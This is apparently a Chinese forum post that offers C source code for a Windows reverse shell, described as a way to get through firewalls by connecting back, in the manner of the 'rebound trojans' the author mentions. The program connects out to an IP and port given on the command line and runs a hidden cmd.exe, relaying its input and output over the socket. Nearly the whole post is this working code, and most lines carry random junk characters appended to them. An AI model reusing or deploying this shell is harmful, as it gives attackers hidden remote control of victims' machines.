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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dpS@:  
?/MkH0[G=  
/* ============================== d m"R0>  
Rebound port in Windows NT NvIg,@}  
By wind,2006/7 ,8Q0AkG  
===============================*/ QChWy`x  
#include +~G:z|k  
#include f@ |[pT  
[Uq`B &F:  
#pragma comment(lib,"wsock32.lib") =/'>.p3/S  
<7ANXHuSW  
void OutputShell(); ` ~m/  
SOCKET sClient; lU Zj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T7mT:z>:  
m[y~-n  
void main(int argc,char **argv) .{ILeG  
{ p#4*:rpq4  
WSADATA stWsaData; 1WqCezI  
int nRet; -a_qZ7  
SOCKADDR_IN stSaiClient,stSaiServer; bQI :N  
]7k:3"wH  
if(argc != 3) ~u1~%  
{ t1iz5%`p}  
printf("Useage:\n\rRebound DestIP DestPort\n"); N)H+N g[  
return; DI;LhS*z  
} `UzH *w@e  
C[znUI>  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8d'/w}GV  
rN#9p+t$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ CcVk"/  
j8e=],sQ  
stSaiClient.sin_family = AF_INET; &/^p:I  
stSaiClient.sin_port = htons(0); & ;5f/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :I";&7C  
mp sX4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bt1bTo  
{ L=Aj+  
printf("Bind Socket Failed!\n"); K'8?%&IQ  
return; 4IW90"uc  
} # {k$Fk  
@(=?x:j  
stSaiServer.sin_family = AF_INET; qOpwl*?x+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3`SH-"{j%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %jj-\Gz!  
W^[QEmyn  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !p\ @1?  
{ +K'YVB U}  
printf("Connect Error!"); (L4C1h_]9  
return; 34)l3UI~  
} S`mB1(h  
OutputShell(); 7`L]aRS[  
} d <ES  
<<qzZ+u  
void OutputShell() =HMCNl  
{ o\W>$$EXD  
char szBuff[1024]; R3_;!/1  
SECURITY_ATTRIBUTES stSecurityAttributes; _]'kw [  
OSVERSIONINFO stOsversionInfo; U<XfO'XJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R=R]0  
STARTUPINFO stStartupInfo; U"@p3$2QW  
char *szShell; En-=z`j G  
PROCESS_INFORMATION stProcessInformation; VrT-6r'Y  
unsigned long lBytesRead; (]mBAQ#hw  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h-Ks:pcR  
QrSO%Rm1*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h Ks  
stSecurityAttributes.lpSecurityDescriptor = 0; Wn;%B].I  
stSecurityAttributes.bInheritHandle = TRUE; rFC9y o  
23=wz%tF  
v%`k*n':  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E<B/5g!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4s>L]! W$8  
*}HDq(/>w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j1Sjw6}GCH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w"M!**bP  
stStartupInfo.wShowWindow = SW_HIDE; 4M>]0%3.D  
stStartupInfo.hStdInput = hReadPipe; 'dQGb-<_<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $i8oLSRV  
It3@ Cd>  
GetVersionEx(&stOsversionInfo); d\A7}_r*x  
~Odclrs  
switch(stOsversionInfo.dwPlatformId) P%[ { 'u  
{ VWXyN  
case 1: 2^5RQl/  
szShell = "command.com"; Vfq-H/+  
break; 3M[d6@a  
default: 6eB~S)Ko  
szShell = "cmd.exe"; kJ .7C  
break; HCktgL:E=  
} I )% bOK]  
[ot+EA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6x!iL\Y~  
F DGzh/  
send(sClient,szMsg,77,0); XI ><;#  
while(1) u[wDOw  
{ ZZxt90YR'5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QRdtr  
if(lBytesRead) z:Ru`  
{ (i<\n`h1K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ==KDr 0|G  
send(sClient,szBuff,lBytesRead,0); }DvT6  
} N^[MeG,8  
else 5P);t9O6  
{ vls+E o]  
lBytesRead=recv(sClient,szBuff,1024,0); b\NY!)B  
if(lBytesRead<=0) break; bWCtRli}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #'#@H  
} *gwo.s  
} X"f]  
h^H)p`[Gme  
return; A}uWy^w  
}
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